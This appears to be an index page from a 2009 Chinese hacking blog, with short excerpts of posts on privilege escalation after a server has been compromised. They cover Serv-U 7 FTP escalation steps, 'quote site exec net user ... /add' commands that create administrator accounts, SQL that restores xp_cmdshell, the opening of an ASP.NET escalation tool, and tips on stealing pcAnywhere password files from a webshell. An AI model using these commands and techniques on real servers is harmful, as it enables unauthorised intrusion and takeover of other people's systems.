msgbartop
同一天地间,同一网络下,P9′Blog与您共享今日互联网→WWW.P9.NET.CN
msgbarbottom

24 三 09 Serv-U7 提权

Serv-u7提权

Serv-u7提权

一,su7是提权有几种方式?

有两种形式去干掉su7 ftp服务器。
1>,登陆管理员控制台的页面
==>获取OrganizationId,用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限 (全文…)

Tags: ,

16 三 09 ftp命令quote site exec的使用

ftp命令

ftp命令

在获得服务器FTP管理员后可以用quote site exec命令来添加系统管理员,cmd下操作方法如下:quote site exec net user 用户名 密码 /add 添加一个用户

quote site exec net localhost administrators 用户名 /add 把用户添加到系统管理员组

quote site exec tskill PID 在 Windows 2003 中通过 PID 关闭进程

quote site exec tskill notepad 在 Windows 2003 中通过名称关闭同类的进程

quote site exec net stop iisadmin 停止 iis 服务

quote site exec net start iisadmin 启动 iis 服务

Tags: ,

12 三 09 webshell提权

tiquan作者:唐钰小宝 本文由p9′blog转自华夏论坛

原文地址:http://bbs.77169.com/read-htm-tid-239508-fpage-5.html

1.看命令行组件是否存在wscript.shell

2.看系统版本,权限大就直接在C盘看,cmd下,set命令看下就OK!windows的为03,WINNT的为2000 (全文…)

Tags: ,

11 三 09 恢复执行xp_cmdshell

tiquan1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 (全文…)

Tags: ,

11 三 09 NET版本Serv-U提权程序

tiquan<%@ Page Language=”VB” Debug=”true” %>
<%@ import Namespace=”System.Net.Sockets” %>
<script runat=”server”>

(全文…)

Tags: , ,

08 三 09 MSSQLCracker in ASP提权方法

Tags: ,

06 三 09 serv-u7 php版提权工具使用方法

tiquan一,su7是提权有几种方式?
有两种形式去干掉su7。
1>,登陆管理员控制台的页面
==>获取OrganizationId,用于添加用户
==>获取全局用户的“下一个新用户ID”
==>添加用户
==>添加用户的权限 or 添加全局用户权限
==>用户登陆
==>执行系统命令添加系统账户。 (全文…)

Tags: ,

06 三 09 许多高手提升权限技巧

tiquan当我们取得一个webshell时候,下一部要做的就是提升权限

  个人总结如下:

  1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆 (全文…)

Tags: ,